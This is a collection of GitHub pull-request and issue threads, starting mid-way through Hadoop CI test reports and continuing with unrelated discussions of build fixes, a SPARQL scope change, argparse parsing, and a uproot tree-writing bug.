0m 40s

hadoop-cos in the patch passed.

+1 :green_heart:
unit
0m 40s

hadoop-huaweicloud in the patch passed.

+1 :green_heart:
asflicense
1m  2s

The patch does not generate ASF License warnings.

702m  1s

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/6/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/4006

Optional Tests
dupname asflicense unit codespell xml compile javac javadoc mvninstall mvnsite shadedclient spotbugs checkstyle

uname
Linux 506d12232a32 4.15.0-163-generic #171-Ubuntu SMP Fri Nov 5 11:55:11 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / cc2cb898c7be54d8db236ad140b1d925d1dcf5a4

Default Java
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/6/testReport/

Max. process+thread count
3014 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-hdfs-project/hadoop-hdfs hadoop-tools/hadoop-distcp hadoop-hdfs-project/hadoop-hdfs-rbf hadoop-tools/hadoop-openstack hadoop-tools/hadoop-aws hadoop-tools/hadoop-azure-datalake hadoop-cloud-storage-project/hadoop-cos hadoop-cloud-storage-project/hadoop-huaweicloud U: .

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/6/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 49s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 12 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
15m 37s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
27m 51s

trunk passed

+1 :green_heart:
compile
25m  1s

trunk passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
compile
21m 33s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
4m 32s

trunk passed

+1 :green_heart:
mvnsite
11m 14s

trunk passed

+1 :green_heart:
javadoc
9m 41s

trunk passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
10m 53s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
16m 20s

trunk passed

+1 :green_heart:
shadedclient
24m 14s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 26s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
5m 57s

the patch passed

+1 :green_heart:
compile
24m 10s

the patch passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javac
24m 10s

the patch passed

+1 :green_heart:
compile
21m 31s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
21m 31s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
4m 21s

the patch passed

+1 :green_heart:
mvnsite
11m  8s

the patch passed

+1 :green_heart:
xml
0m 10s

The patch has no ill-formed XML file.

+1 :green_heart:
javadoc
9m 36s

the patch passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javadoc
10m 54s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
17m 36s

the patch passed

+1 :green_heart:
shadedclient
24m 13s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
18m  4s

hadoop-common in the patch passed.

-1 :x:
unit
332m 48s
/patch-unit-hadoop-hdfs-project_hadoop-hdfs.txt
hadoop-hdfs in the patch passed.

+1 :green_heart:
unit
41m 27s

hadoop-distcp in the patch passed.

-1 :x:
unit
32m  5s
/patch-unit-hadoop-hdfs-project_hadoop-hdfs-rbf.txt
hadoop-hdfs-rbf in the patch passed.

+1 :green_heart:
unit
1m 16s

hadoop-openstack in the patch passed.

+1 :green_heart:
unit
3m 33s

hadoop-aws in the patch passed.

+1 :green_heart:
unit
1m 44s

hadoop-azure-datalake in the patch passed.

+1 :green_heart:
unit
1m 13s

hadoop-cos in the patch passed.

+1 :green_heart:
unit
1m 14s

hadoop-huaweicloud in the patch passed.

+1 :green_heart:
asflicense
1m 35s

The patch does not generate ASF License warnings.

738m 34s

Reason
Tests

Failed junit tests
hadoop.hdfs.server.mover.TestMover

hadoop.hdfs.server.namenode.snapshot.TestRenameWithSnapshots

hadoop.hdfs.rbfbalance.TestRouterDistCpProcedure

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/7/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/4006

Optional Tests
dupname asflicense unit codespell xml compile javac javadoc mvninstall mvnsite shadedclient spotbugs checkstyle

uname
Linux ad87aa861963 4.15.0-175-generic #184-Ubuntu SMP Thu Mar 24 17:48:36 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / ede93774db3bb3f9f95757d4d139cf1bfe428c12

Default Java
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/7/testReport/

Max. process+thread count
2995 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-hdfs-project/hadoop-hdfs hadoop-tools/hadoop-distcp hadoop-hdfs-project/hadoop-hdfs-rbf hadoop-tools/hadoop-openstack hadoop-tools/hadoop-aws hadoop-tools/hadoop-azure-datalake hadoop-cloud-storage-project/hadoop-cos hadoop-cloud-storage-project/hadoop-huaweicloud U: .

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/7/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.

:broken_heart: -1 overall

Vote
Subsystem
Runtime
Logfile
Comment

+0 :ok:
reexec
0m 54s

Docker mode activated.

_ Prechecks _

+1 :green_heart:
dupname
0m  0s

No case conflicting files found.

+0 :ok:
codespell
0m  0s

codespell was not available.

+1 :green_heart:
@author
0m  0s

The patch does not contain any @author tags.

+1 :green_heart:
test4tests
0m  0s

The patch appears to include 12 new or modified test files.

_ trunk Compile Tests _

+0 :ok:
mvndep
15m 47s

Maven dependency ordering for branch

+1 :green_heart:
mvninstall
29m 18s

trunk passed

+1 :green_heart:
compile
27m 24s

trunk passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
compile
23m 56s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
checkstyle
4m 32s

trunk passed

+1 :green_heart:
mvnsite
11m 37s

trunk passed

-1 :x:
javadoc
1m 39s
/branch-javadoc-hadoop-common-project_hadoop-common-jdkUbuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04.txt
hadoop-common in trunk failed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04.

+1 :green_heart:
javadoc
10m 12s

trunk passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
17m  6s

trunk passed

+1 :green_heart:
shadedclient
27m 52s

branch has no errors when building and testing our client artifacts.

_ Patch Compile Tests _

+0 :ok:
mvndep
0m 33s

Maven dependency ordering for patch

+1 :green_heart:
mvninstall
7m 29s

the patch passed

+1 :green_heart:
compile
28m 40s

the patch passed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04

+1 :green_heart:
javac
28m 40s

the patch passed

+1 :green_heart:
compile
26m 22s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
javac
26m 22s

the patch passed

+1 :green_heart:
blanks
0m  0s

The patch has no blanks issues.

+1 :green_heart:
checkstyle
5m 35s

the patch passed

+1 :green_heart:
mvnsite
13m 23s

the patch passed

+1 :green_heart:
xml
0m 11s

The patch has no ill-formed XML file.

-1 :x:
javadoc
1m 37s
/patch-javadoc-hadoop-common-project_hadoop-common-jdkUbuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04.txt
hadoop-common in the patch failed with JDK Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04.

+1 :green_heart:
javadoc
13m 13s

the patch passed with JDK Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

+1 :green_heart:
spotbugs
21m  5s

the patch passed

+1 :green_heart:
shadedclient
27m  5s

patch has no errors when building and testing our client artifacts.

_ Other Tests _

+1 :green_heart:
unit
18m 58s

hadoop-common in the patch passed.

-1 :x:
unit
399m 52s
/patch-unit-hadoop-hdfs-project_hadoop-hdfs.txt
hadoop-hdfs in the patch passed.

+1 :green_heart:
unit
47m 36s

hadoop-distcp in the patch passed.

+1 :green_heart:
unit
41m  9s

hadoop-hdfs-rbf in the patch passed.

+1 :green_heart:
unit
1m 13s

hadoop-openstack in the patch passed.

+1 :green_heart:
unit
3m 14s

hadoop-aws in the patch passed.

+1 :green_heart:
unit
1m 47s

hadoop-azure-datalake in the patch passed.

+1 :green_heart:
unit
1m 13s

hadoop-cos in the patch passed.

+1 :green_heart:
unit
1m 15s

hadoop-huaweicloud in the patch passed.

+1 :green_heart:
asflicense
1m 55s

The patch does not generate ASF License warnings.

858m 36s

Reason
Tests

Failed junit tests
hadoop.hdfs.server.namenode.snapshot.TestRenameWithSnapshots

hadoop.hdfs.server.namenode.ha.TestPipelinesFailover

Subsystem
Report/Notes

Docker
ClientAPI=1.41 ServerAPI=1.41 base: https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/8/artifact/out/Dockerfile

GITHUB PR
https://github.com/apache/hadoop/pull/4006

Optional Tests
dupname asflicense unit codespell xml compile javac javadoc mvninstall mvnsite shadedclient spotbugs checkstyle

uname
Linux dffe695534c7 4.15.0-166-generic #174-Ubuntu SMP Wed Dec 8 19:07:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Build tool
maven

Personality
dev-support/bin/hadoop.sh

git revision
trunk / df6285af28fece6dfbfcab76f9ef7cc737c2d814

Default Java
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Multi-JDK versions
/usr/lib/jvm/java-11-openjdk-amd64:Ubuntu-<IP_ADDRESS>+1-Ubuntu-0ubuntu1.20.04 /usr/lib/jvm/java-8-openjdk-amd64:Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07

Test Results
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/8/testReport/

Max. process+thread count
3046 (vs. ulimit of 5500)

modules
C: hadoop-common-project/hadoop-common hadoop-hdfs-project/hadoop-hdfs hadoop-tools/hadoop-distcp hadoop-hdfs-project/hadoop-hdfs-rbf hadoop-tools/hadoop-openstack hadoop-tools/hadoop-aws hadoop-tools/hadoop-azure-datalake hadoop-cloud-storage-project/hadoop-cos hadoop-cloud-storage-project/hadoop-huaweicloud U: .

Console output
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4006/8/console

versions
git=2.25.1 maven=3.6.3 spotbugs=4.2.2

Powered by
Apache Yetus 0.14.0-SNAPSHOT https://yetus.apache.org

This message was automatically generated.


fix(design): fix bug where paginator broke when numberOfPages was one

PR Checklist
Please check if your PR fulfills the following requirements:

[x] The commit message follows our guidelines: https://github.com/graycoreio/daffodil/blob/master/CONTRIBUTING.md#commit
[x] Tests for the changes have been added (for bug fixes / features)
[ ] Docs have been added / updated (for bug fixes / features)

PR Type
What kind of change does this PR introduce?
[x] Bugfix
[ ] Feature
[ ] Code style update (formatting, local variables)
[ ] Refactoring (no functional changes, no api changes)
[ ] Build related changes
[ ] CI related changes
[ ] Documentation content changes
[ ] Other... Please describe:

What is the current behavior?
When the numberOfPages is 1 for the paginator, it doesn't work correctly.
Fixes: N/A
What is the new behavior?
Paginator works as expected when the numberOfPages is one.
Does this PR introduce a breaking change?
[ ] Yes
[x] No

I added errors for when the current page is less than 1, or when the currentPage is greater than the numberOfPages


How do I add a custom view

How do I add a custom view

Hi, @lczalh. To answer your question, could you elaborate a little more about what you meant by “custom view”?

Hello! I want to insert a custom view of an image, button, etc into the input box

I see. In hat case, you can add such subviews using textContentView.
TextEditorView contains UITextView and it may have a few subviews, therefore textContentView is the best for adding your custom subviews.


Donate site

This is a great project. Learned a lot from this.
I like to do a small donation as a token of my appreciation. Where is the website?
Thanks.

@shalinashiyan currently no website, no donations ;)
label as enhancement ;)

Thanks. Once it is set up, I will do my part :-)

+1， I will donate as well.


[SPARK-34762][BUILD] Add commons-cli to the dependencies explicitly.

What changes were proposed in this pull request?

This PR adds commons-cli to the dependencies explicitly.
HiveThriftServer depends on commons-cli but it's not explicitly added to the dependencies.
The last few days, build with Scala 2.13 on GA continues to fail and the error message says like as follows.
[error] /home/runner/work/spark/spark/sql/hive-thriftserver/src/main/java/org/apache/hive/service/server/HiveServer2.java:26:1:  error: package org.apache.commons.cli does not exist
1278[error] import org.apache.commons.cli.GnuParser;

I don't know why the build fails only with Scala 2.13 but commons-cli might be relevant.
Why are the changes needed?

Expect to fix the build failure with Scala 2.13.
Does this PR introduce any user-facing change?

No.
How was this patch tested?

I confirmed that build successfully finishes with both Scala 2.12 and 2.13 on my laptop.
build/sbt -Phive -Phive-thriftserver compile test:compile
build/sbt -Phive -Phive-thriftserver -Pscala-2.13 compile test:compile

Awesome @sarutak!

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/136148/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/136152/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40730/

Kubernetes integration test status failure
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/40730/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40730/

Test build #136160 has started for PR 31862 at commit 4c6e8dc.

Actually, adding commons-cli explicitly doesn't resolve the issue but I noticed #31863 succeed to build with Scala 2.13. So I found, if commons-cli is already in .m2, the build will fail.
In change-scala-version.sh, mvn command runs and this downloads commons-cli to .m2.
So I added a workaround that removes ~/.m2/repository/commons-cli in change-scala-version.sh.
Let's see the workaround works well.
After I found the workaround works, I'll change the title and description.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40741/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/136161/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/40742/

I would found the real cause.
build/mvn help:evaluate -Pscala-${TO_VERSION} -Dexpression=scala.version -q -DforceStdout in change-scala-version.sh download only POM file and it's hash file for commons-cli and the jar file is not downloaded.
ls /home/kou/.m2/repository/commons-cli/commons-cli/1.2/
_remote.repositories  commons-cli-1.2.pom  commons-cli-1.2.pom.sha1

Test build #136160 has finished for PR 31862 at commit 4c6e8dc.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/136160/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/136169/

Finally, build with Scala 2.13 seems to pass.

I'm gonna merge this for other PRs.

Merged to master and branch-3.1.

@HyukjinKwon
Thanks for merging!
I was going to merge myself after I get agreement on the change but it's ok as I have approval from you now.

Thank you, @sarutak and all!


Update Kubernetes to v1.31.2-k3s1 and Go 1.22.8

Proposed Changes

Types of Changes

Verification

Testing

Linked Issues

User-Facing Change

Further Comments

/trivy


refactor: add t, useTranslation helpers to use translations

Context

Making translations easier to use.
Changes proposed in this pull request

Adds following helpers:

t(browser, key, optionalSubsitutions)

as a shorter call over this.browser.i18n.getMessage(key, optionalSubsitutions),
where TypeScript ensures key exists in _locales

const t = tFactory(this.browser) (so we don't have to pass browser parameters over and over)
For popup, a const t = useTranslation() helper.
In popup, reduces place where we need to import browser from 'webextension-polyfill', make it easier to test. The context default just returns passed key as is.

Extension builds preview

Name
Link

Latest commit
985957aa31f5939d049da0ce29c317ba3d12a14d

Latest job logs
Run #9807704697

DownloadDownload

I'll add a useBrowser hook next for browser in popup, so we can pass a mock browser for testing easily.


mir_robot: 1.0.4-1 in 'indigo/distribution.yaml' [bloom]

Increasing version of package(s) in repository mir_robot to 1.0.4-1:

upstream repository: https://github.com/dfki-ric/mir_robot.git
release repository: https://github.com/uos-gbp/mir_robot-release.git
distro file: indigo/distribution.yaml
bloom version: 0.8.0
previous version for package: 1.0.3-0

mir_actions
* Update mir_msgs and mir_actions to MiR 2.3.1
* Contributors: Martin Günther

mir_description
* Add legacyModeNS param to gazebo_ros_control plugin
  This enables the new behavior of the plugin (pid_gains parameter are now
  in the proper namespace).
* re-added gazebo friction parameters for the wheels (#19 <https://github.com/dfki-ric/mir_robot/issues/19>)
* Contributors: Martin Günther, niniemann

mir_driver
* Remove garbage file
* Contributors: Martin Günther

mir_dwb_critics

No changes

mir_gazebo
* Fix gazebo launch file
  Before this commit, the mobile base plugin couldn't initialize, because
  subst_value didn't work.
* Contributors: Martin Günther

mir_msgs
* Update mir_msgs and mir_actions to MiR 2.3.1
  The following changes were made to the actual mir_msgs:
  * rename mirMsgs -> mir_msgs
  * rename proximity -> Proximity
  * rename serial -> Serial
  * keep MirStatus msg (was replaced by RobotStatus in MiR software 2.0)
* Contributors: Martin Günther

mir_navigation
* Rviz config: Add planned paths + costmap from real MiR
* Contributors: Martin Günther

mir_robot

No changes

@tfoote Now that Indigo is EOL are rosdistro PRs going to still be merged for it?

@sloretz According to @tfoote, there will be one more sync - Indigo is almost EOL, but not quite yet:
https://discourse.ros.org/t/preparing-for-indigo-sync-2019-04-23/8891
Actually, this is what triggered me to do one final release so that the source branches match the released binaries. Don't worry, I've been careful not to do any crazy big updates, only small fixes.


Will this do hand and facial mapping?

OpenPose can do face and hand tracking as well as body will your program handle face and hand tracking data from OpenPose?

No, they are not handled in this work. Currently the style transfer network is trained on CMU skeleton which doesn't have hand & facial "joints".

No, they are not handled in this work. Currently the style transfer network is trained on CMU skeleton which doesn't have hand & facial "joints".


Allow multiple images per tile

Right now only one image can be shown in each tile, I'd like to be able to use more than one image per tile for things like free fight sources and crystal ball predicitons.

i think this was a good idea but after digging in i really have no idea how you would add this level of extensibility to this code and at this point i am OK with saying this is out of scope given the volunteers available for tourguide.


fixing carriage tf prefix

I was testing the granite sim and noticed I missed this bit while adding the prefix manually to the urdf for ubuntu 20 compatibility

Can merge once tests pass


GH-4256 sparql exists filter scope

GitHub issue resolved: #4256
Briefly describe the changes proposed in this PR:
From the spec:

Variables in the pattern that are bound in the current solution mapping take the value that they have from the solution mapping. Variables in the pattern pattern that are not bound in the current solution mapping take part in pattern matching.

https://www.w3.org/TR/sparql11-query/#func-filter-exists
I've removed the check for isPartOfSubQuery because it seems to be related to some legacy code that is no longer in use.

PR Author Checklist (see the contributor guidelines for more details):

[ ] my pull request is self-contained
[ ] I've added tests for the changes I made
[ ] I've applied code formatting (you can use mvn process-resources to format from the command line)
[ ] I've squashed my commits where necessary
[ ] every commit message starts with the issue number (GH-xxxx) followed by a meaningful description of the change

I should add a test for MINUS then.
PREFIX : <http://example/>
SELECT * WHERE {
        ?x :p ?n
        MINUS {
                ?x :q ?m .
                FILTER(?n = ?m)
        }
}

The ?n above the MINUS section is not in scope for the ?n inside the FILTER.
This is a difference between EXISTS and MINUS.


Fixed docker_build when no = is used between the arguments and values

Checklist before submitting

[ ] Did you read the contributor guide?
[ ] Did you update any affected documentation?
[ ] Did you write any tests to validate this change?

Description
Fixes #318
Python's argparse.parse_known_args can't parse the mixed arguments containing positional and optional arguments correctly specially when type of positional argument and type of other arguments are same.
For e.g. If ['build', 'env', '--python_versions', '3.7', '--build_types', 'cuda', 'envs/tensorflow-env.yaml'] is passed to parse_known_args method ( with cmd, sub-cmd, env_file as known arguments), it will assign '3.7' to env_file leaving ['--python_versions', '--build_type', 'cuda', 'envs/tensorflow-env.yaml'] as unknown arguments. And hence the error mentioned in #318 comes up. I checked other methods of argparse too like parse_intermixed_known_args but it also doesn't give the right results in this case.
So, as a solution, I think it is better to remove env_file arguments while filtering known/unknown arguments. env_file argument is anyway read later on from the args namespace object. Going forward, if we add another positional arguments like env_file, those will also need to be removed before sending them to parse_known_args.
Workaround is either to supply env_file just after build env or add = in the argument names and their values.
Review process to land

All tests and other checks must succeed.
At least one maintainer must review and approve.
If any  maintainer requests changes, they must be addressed.

Codecov Report

Merging #320 (169466d) into master (2cf34c2) will decrease coverage by 0.07%.
The diff coverage is 66.67%.

@@            Coverage Diff             @@
##           master     #320      +/-   ##
==========================================
- Coverage   96.65%   96.58%   -0.07%
==========================================
  Files          17       17
  Lines        1283     1286       +3
==========================================
+ Hits         1240     1242       +2
- Misses         43       44       +1

Flag
Coverage Δ

unittests
96.58% <66.67%> (-0.07%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

open-ce/docker_build.py
99.15% <66.67%> (-0.85%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2cf34c2...169466d. Read the comment docs.

Codecov Report

Merging #320 (169466d) into master (2cf34c2) will decrease coverage by 0.07%.
The diff coverage is 66.67%.

@@            Coverage Diff             @@
##           master     #320      +/-   ##
==========================================
- Coverage   96.65%   96.58%   -0.07%
==========================================
  Files          17       17
  Lines        1283     1286       +3
==========================================
+ Hits         1240     1242       +2
- Misses         43       44       +1

Flag
Coverage Δ

unittests
96.58% <66.67%> (-0.07%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

open-ce/docker_build.py
99.15% <66.67%> (-0.85%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 2cf34c2...169466d. Read the comment docs.


⚠ Bofrost.de has degraded performance

In 9870bbf, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 1485 ms

Resolved: Bofrost.de performance has improved in ab757ac after 50 minutes.


Optionally generate test cases from failing sequences

Is your feature request related to a problem? Please describe.
Currently failing sequences are always discarded, however in some cases they may actually reveal issues in the code
Describe the solution you'd like
Optionally generate junit test cases from failing sequences, with exception handling code and assertions that check for the raised exception. We should probably come up with a heuristic in which cases it makes sense to generate such sequences and in which cases these are most probably false failures.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

A first heuristic is whether the thrown exception appears in the throws statement of the method declaration

Implemented and merged via PR: https://github.com/konveyor/tackle-test-generator-core/pull/131


Proposed to add @lit-app/state

Hey - Thanks for adding @lit-app/state as a global state manager if you like the approach :
import { State, StateController, property } from "@lit-app/state";
import { LitElement } from "lit";

// declate a state
class MyState extends State {
  @property({value: 'Bob'}) name
}
const myState = new MyState()

// declare a component
class StateEl extends LitElement {

  // StateController is a Reactive Controller binding myState with the element
  state = new StateController(this, myState)
  override render() {
    return html`

This will be updated when the state changes: ${myState.name}

    `;
  }
}

// changing the state will reflect in the template
myState.name = 'Alice'

more info from https://github.com/lit-apps/lit-app/tree/main/packages/state

Oh - that was fast ! Thanks a lot ; )


root file, written with uproot, number of events in tree issue

Hi,
A similar problem as in #345 but this time regarding the number of events in the tree that I write in a file, with the following code:
    with uproot.recreate(file_out) as f:
        f["DecayTree"] = uproot.newtree({b:np.float32 for b in allbranches}, flushsize="5 MB")

        for i, d in enumerate(datasets):
            f["DecayTree"].extend(dict(d))

When I read back the file, there are more events in the tree than I wrote. Trying again by reducing the flushsize decrease the number of events read, but it is still not the same the number of event that I wrote ...

This simple reproduces my problem:
In [1]: import uproot

In [2]: import numpy as np

In [3]: with uproot.recreate("example.root") as f:
   ...:     f["t"] = uproot.newtree({"a": "float32", "b": "float32", "c": "float32", "d": "float32"})
   ...:
   ...:     for i in range(5):
   ...:         f["t"].extend({"a": np.random.normal(0, 1, 1000), "b":np.random.normal(0, 1, 1000),
   ...:                        "c": np.random.normal(0, 1, 1000), "d": np.random.normal(0, 1, 1000)})
   ...:

In [4]: uproot.numentries("example.root", "t")
Out[4]: 20000

Does this only happen with extend or does it also happen with newbasket (the low-level interface)?
Thanks!

This example does reproduce the effect of the flush size.
In [1]: import uproot

In [2]: import numpy as np

In [3]: with uproot.recreate("example.root") as f:
   ...:     f["t"] = uproot.newtree({f"branch_{i}": np.float32 for i in range(50)}, flushsize="10 MB")
   ...:
   ...:     for j in range(5):
   ...:         f["t"].extend({f"branch_{i}": np.random.normal(0, 1, 5000) for i in range(50)})
   ...:

In [4]: uproot.numentries("example.root", "t")
Out[4]: 100000

In [5]: with uproot.recreate("example.root") as f:
   ...:     f["t"] = uproot.newtree({f"branch_{i}": np.float32 for i in range(50)}, flushsize="2 MB")
   ...:
   ...:     for j in range(5):
   ...:         f["t"].extend({f"branch_{i}": np.random.normal(0, 1, 5000) for i in range(50)})
   ...:
   ...:

In [6]: uproot.numentries("example.root", "t")
Out[6]: 58056

@jpivarski  I will give it a try.

Thanks @jpivarski with the low-level interface it works (I tend to forget about it 🤷♂).
In [7]: with uproot.recreate("example.root") as f:
   ...:     f["t"] = uproot.newtree({f"branch_{i}": np.float32 for i in range(50)}, flushsize="2 MB")
   ...:
   ...:     for j in range(5):
   ...:         for i in range(50):
   ...:             f["t"][f"branch_{i}"].newbasket(np.random.normal(0, 1, 5000))
   ...:
   ...:

In [8]: uproot.numentries("example.root", "t")
Out[8]: 25000

Ultimately, both should work, but we're trying to factorize bugs in low-level writing from bugs in the flushing logic. It looks like this one is in the flushing logic.


changed books register inputs to dropdown

Done:

Changed books register inputs to dropdowns
Some font and style changes

To be done:

Some kind of error validation with Express Validator

Nog niet mergen svp